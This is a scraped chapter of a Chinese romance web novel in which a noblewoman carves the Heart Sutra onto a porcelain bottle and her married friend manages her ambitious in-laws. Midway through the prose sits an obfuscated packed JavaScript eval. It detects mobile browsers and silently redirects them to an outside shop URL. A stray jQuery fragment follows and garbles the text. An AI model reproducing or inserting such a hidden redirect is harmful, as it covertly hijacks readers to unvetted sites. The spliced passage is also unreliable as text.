文趣网 > 其他小说 > 栖梧(先婚后爱) > 10. 第十章
    观自在菩萨,行深般若波罗蜜多时……

    一灯荧荧,玉汝手里的扁青瓷瓶在透光下慢慢显露出上面雕刻的微末经文,指腹轻轻摩挲瓶身,亦能感受到那凹凸不平的触感在头两句便戛然而止。

    凑近了,隐隐还有股清凉的野草香气。

    瓶中的烫伤药,她已经用不上了。除夕夜那火星燎过的痕迹不过三日便消,这瓷瓶里的药也从未打开取用过分毫。

    哎,所以何必有这多余的药呢,倘若没有那南昭人交易之外的好心,她也不会徒生出这一丝难言的愧疚和怅惘。

    南昭正使意外身亡,未必就是因御前失仪,冲撞圣驾;那个与她交换风狸液的人,也未必就是死的南昭正使。

    道理她都明白,却总忘不掉梦里那双骇人的眼睛。

    也犹豫过要不要着人去鸿胪寺问个清楚,最后又都按捺下了。她不想知道那么多,也不应该知道那么多,知道得越多,忧虑得越多,若结果是自己不愿看见的走向,届时又滋生新的烦恼,便是没完没了的心魔了。

    那就用他的东西,这个小小药瓶,刻一卷般若心经吧。

    玉汝少时随国中大儒习字,母亲要求极高,她为了锻炼笔力腕力,也为了能有与众不同的惊艳技法,还暗地学了微观雕刻,在石头、宝玉上也能刻出一手漂亮的小楷。

    手里这青瓷瓶,瓶身扁而平滑,胎壁却薄,动刀时比在石头宝玉上纂刻更要难上三分。

    力若小了,字不清晰,力若大了,又易碎瓶。

    为此,她必须摒弃一切杂念,全神贯注地投入在手中的瓷瓶与刻刀上,既是为自己静心,也算是为那一条人命的超度。

    从长安一路到洛阳,行车颠簸,并不适合做这样精细的事情,后来在郓王府,忙于三娘出嫁回门,也无暇顾及。她一直没有机会再拿起刻刀,如今这两句,还是她在长安时的夙夜所得。

    间隔了快一月的时间,难免手生,她先在脑中演练下刀的动作,在指腹摩挲里回顾用刀的力度,做到一切心中有数,才重新拿起那柄薄如蝉翼的细刀。

    要屏息静气,聚精会神。

    要手腕用力,指间灵巧。

    眼睛要仔细,下刀要果断,更要将般若心经烂熟于心。

    玉汝以刀做笔,一笔一划,一划一雕,全身心都只在眼前、手中这芥子之地,她喜欢这种安静专注的感觉,从披星戴月到晨曦初露犹不觉累。

    采薇早已习惯县主夜以继日的勤勉,舜华舜英则是因新来,见县主身边的贴身婢女一应起居侍奉习以为常,便不敢贸然开口相劝,而别苑的其余仆从更是只顾做好自己的本分。

    无人打扰,玉汝投入得愈加忘我。常有洛阳仕女下帖来邀,她一概推拒,也只有三娘来时,才会放下刻刀暂歇,听她讲些姚家鸡飞狗跳的家务事。

    “你不晓得,回门那日,我从郓王府回去,家里等着我的是一个不知哪儿冒出来的姨母和姨母带着的一位如花似玉的表妹。”

    玉汝不可置信,从前倒是听过些话本里讲的,但凡风流才子,有了出身名门望族的正妻,必会有一位娇弱的表妹上门做妾,好像男人只有享尽齐人之福才算功成名就,可是……

    “你可是郡主,皇室宗女,又是天子赐婚,姚家岂敢……”

    未等玉汝说完,三娘已摇着团扇笑起来:“姚家贪心不足,却也并不糊涂。起初,我也和你是一样的想头,后来听我君姑和那位姨母话里话外的意思才明白,人家啊,是冲着琞表兄来的。”

    玉汝扶一扶额,被这反转招呼得晕头转向:“阿兄早与崔七娘定下婚约,他是家族寄予厚望的宗子,洁身自好,绝不会做任何有损自己和郑氏名声的事。”

    “我岂会不知?”

    想到自家婆母和她那姐妹好高骛远的盘算,常山郡主不由嗤笑:“此事都无需烦扰琞表兄,我只让那表妹为我奉茶,然后又让我身边的婢女向君姑奉茶,两相一比较,表妹什么水平什么能耐,自是一目了然。”

    玉汝一怔:“就这么简单,就能打发了?”

    “连郡主身边的婢女都比不过,又怎么高攀得上大长公主之子呢。我不过是让她们认清现实,若还是执迷不悟,毫无自知之明,那自然也还有别的法子来叫她们死心。不过,我也算佩服她们了,肖想表兄的念头刚摁下去,立马又能琢磨出新的来。”

    话到这,常山郡主倾身过来,用团扇半遮,故弄玄虚地压低了声音继续说:“过了几日那姨母又来,说想把表妹放到我身边,跟着我进出、学习,培养气质和才德,将来好让我与郎君帮忙相看,许个不错的门户人家。”

    “这……也算是用心良苦了。”玉汝勉强置评,然后问她:“那这次你又打算如何应对呢?是继续将人打发了?还是?”

    常山郡主沉吟道:“起初,是想找借口打发了,可这几日想想,又觉得能够理解。水往低处流,人往高处走,她们想攀高枝的心思并没有错,就像没有做官的不想升迁,也没有哪个母亲不想自己女儿嫁个富贵安逸的人家。至少,人家是想认真学习,怀揣一颗上进之心,而非是想着不劳而获,甚至折腾些下作的阴谋诡计。”

    玉汝闻言立刻便懂了。

    见惯了东宫鬼蜮伎俩,叵测人心的三娘,爱恨分明,睿智豁达。倘若来人心思不纯,她大可将人拒之门外,从此不再来往,可若是目的明确的力争上游,她反而会生恻隐之心,帮扶一把。

    “所以,你答应了。”

    “知我者,玉汝也。”

    两人不由相视一笑。

    “难为你了,如今要为姚家这些人这些事牵绊心力,经营谋算。”

    “可我不觉得为难。婚姻便是如此,既结两姓之好,郎君的家便是我的家,郎君的亲戚便是我往后要应付周旋的亲戚,即便我不在姚家经历这些,去了张家赵家也是一样的千丝万缕。我如今已彻底想通了,若圣人赐婚的是高门世家,妯娌要攀比,各房要争产,难道我需要费心的事情就能比现在少吗?”

    玉汝望着她吃吃笑道:“看来这位姚姐夫,很中你意咯。原来说相敬如宾就很好,如今才几日,已经一口一个郎君,要为他全家谋算了。”

    常山郡主却并不怕她笑话,一本正经道:“情爱难经考验,夫妻却是很牢固的关系。我做这些,并不是为了他,而是为自己。聚沙成塔,积水成渊,我是要在洛阳过一辈子的,名声、人脉、夫家,都是我未来要经营的事业。没了阿耶的庇护,我也可以自己做自己的庇护。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588418|205372||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    所以人的成长,有时真的只用一刹那。

    玉汝刀刻瓷瓶,不分昼夜,俯仰之间,物换星移。

    她的般若心经才成一半,三娘已经筹谋好了余生。

    她佩服三娘的通透与豁达,更明白这份通透与豁达都源自三娘血脉里与生俱来的自信,这是她付出再多心血与努力也伪装不来的东西。

    又过几日,常山郡主乔迁新居,玉汝受邀赴宴。

    那是位于尚善坊的一处五进院落,是前太子妃尚在时为女儿置下的产业,紧邻皇城,门楼高大,亭台叠榭,闳敞轩昂。

    姚母欢天喜地,在仆从的导引下四处游览参观。

    姚父状似泰然,可那双满布沟壑,老态龙钟的眼睛里却也迸发出掩饰不了的激动神情。

    姚冲则是很快挑中了一处幽深清净的寝院,发誓要在这里勤学苦读,早日也成为家里的梁柱。

    作为此处宅邸新郎主的姚翀,玉汝只看到一个背影,却不能想象他是如何紧握着常山郡主的手连说,得妻如此,夫复何求。

    隔着花叶扶疏,苍翠葱茏,她听见三娘含情脉脉,温声软语。

    “郎君娶了我,旁人难免高看你一眼,我又岂能让你没有相称的门庭可支应。这世上多的是见风使舵,拜高踩低,我知郎君和君舅都是不慕权贵的君子,往后这些交际应酬都交给我,你们只管勤理政务,报效朝廷。”

    “只是这宅子虽在我名下,却属皇家产业,既不能变卖,将来亦不得由子女继承。如今尚能带着全家老小入住,一旦我身死,宅邸便会被朝廷收回。”

    “不过,以郎君的才华能力,有我辅佐,何愁将来不能置办比这更大更豪奢的宅邸呢。那些世家望族也并非一立世就是声名显赫,权势滔天,从前无人为郎君撑腰,往后郎君有我,往后的往后,郎君亦能成为孩儿们的倚仗。”

    姚翀当然感动得无以复加。

    后面的缠绵悱恻玉汝不敢再旁观,在姚翀低头之前已悄然转身远离。

    身后跟着传闻中的那位表妹,先前见礼时自称姓冯,名望希。

    “为什么一直跟着我,不自己去逛逛吗?”玉汝好奇问她。

    冯望希目光怯懦,脚下的步伐却未见迟疑,“民女日后要跟在阿嫂身边学习,更该时时感恩,为阿嫂做些力所能及之事。县主来者是客,又是阿嫂亲近之人,民女虽愚钝,却也可以试着在旁招待。况且……”

    玉汝见她在目光闪烁里渐渐羞红了脸,不敢直视自己,便只好垂下头去看裙曳下露出的一点鞋尖。

    “县主貌美,民女不可企及。可除了容貌以外,您的端庄仪态,娴雅举止,都是民女可以勤学苦练的模范。”

    玉汝有些恍惚,隐约觉得似曾相识,静默一瞬后问她:“望希,是哪两个字?”

    “盼望的望,希望的希。”

    果然是生机勃勃,一心上进。

    玉汝自腰间解下一块喜字提携玉佩,亲手赠予她:“愿你不忘初心。”

    斜阳高挂,成群结队的大雁追逐日光而来,在层云里盘旋嬉戏,一会儿排成整齐的一行,一会儿又扑朔着翅膀四散,寻重檐坠落。

    玉汝仰头看了会儿,大雁北归,她也该回家了。